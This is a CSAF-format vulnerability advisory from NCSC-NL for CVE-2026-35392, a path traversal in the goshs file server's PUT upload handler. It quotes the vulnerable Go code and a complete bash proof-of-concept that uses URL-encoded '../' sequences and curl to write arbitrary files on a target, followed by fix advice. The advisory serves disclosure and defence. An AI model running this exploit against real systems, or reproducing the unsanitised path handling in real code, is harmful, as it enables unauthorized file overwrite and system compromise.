{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-35392", "tracking": { "current_release_date": "2026-04-03T04:39:56.016315Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-35392", "initial_release_date": "2026-04-03T04:39:40.483870Z", "revision_history": [ { "date": "2026-04-03T04:39:40.483870Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-04-03T04:39:48.105900Z", "number": "2", "summary": "NCSC Score created." } ], "status": "interim", "version": "2" } }, "vulnerabilities": [ { "cve": "CVE-2026-35392", "cwe": { "id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" }, "notes": [ { "category": "description", "text": "### Summary\n* PUT upload has no path sanitization | `httpserver/updown.go:20-69`\n\nThis finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:20-69`\n**Trigger:** `PUT /` (server.go:57-59 routes directly to `put()`)\n\nThe handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.\n\n```go\nfunc (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {\n upath := req.URL.Path // unsanitized\n\n filename := strings.Split(upath, \"/\")\n outName := filename[len(filename)-1]\n\n targetpath := strings.Split(upath, \"/\")\n targetpath = targetpath[:len(targetpath)-1]\n target := strings.Join(targetpath, \"/\")\n\n savepath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, outName)\n // ...\n os.Create(savepath) // arbitrary path write\n```\n\n`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.\n\n**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Write an arbitrary file on a running goshs instance via PUT.\n#\n# Usage: ./arbitrary_overwrite1.sh \n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 }\"\nPORT=\"${2:?Usage: $0 }\"\nLOCAL_FILE=\"${3:?Usage: $0 }\"\nTARGET=\"${4:?Usage: $0 }\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n echo \"[-] Local file not found: $LOCAL_FILE\"\n exit 1\nfi\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / from target\nTARGET_REL=\"${TARGET#/}\"\n\nPUT_PATH=\"/${TRAVERSAL}${TARGET_REL}\"\n\necho \"[*] Source: ${LOCAL_FILE}\"\necho \"[*] Target: ${TARGET}\"\necho \"[*] PUT: ${PUT_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n --path-as-is \\\n -X PUT --data-binary \"@${LOCAL_FILE}\" \\\n \"http://${HOST}:${PORT}${PUT_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.", "title": "github - https://api.github.com/advisories/GHSA-g8mv-vp7j-qp64" }, { "category": "other", "text": "3.7", "title": "NCSC Score" } ], "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-g8mv-vp7j-qp64" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-g8mv-vp7j-qp64" } ], "title": "CVE-2026-35392" } ] }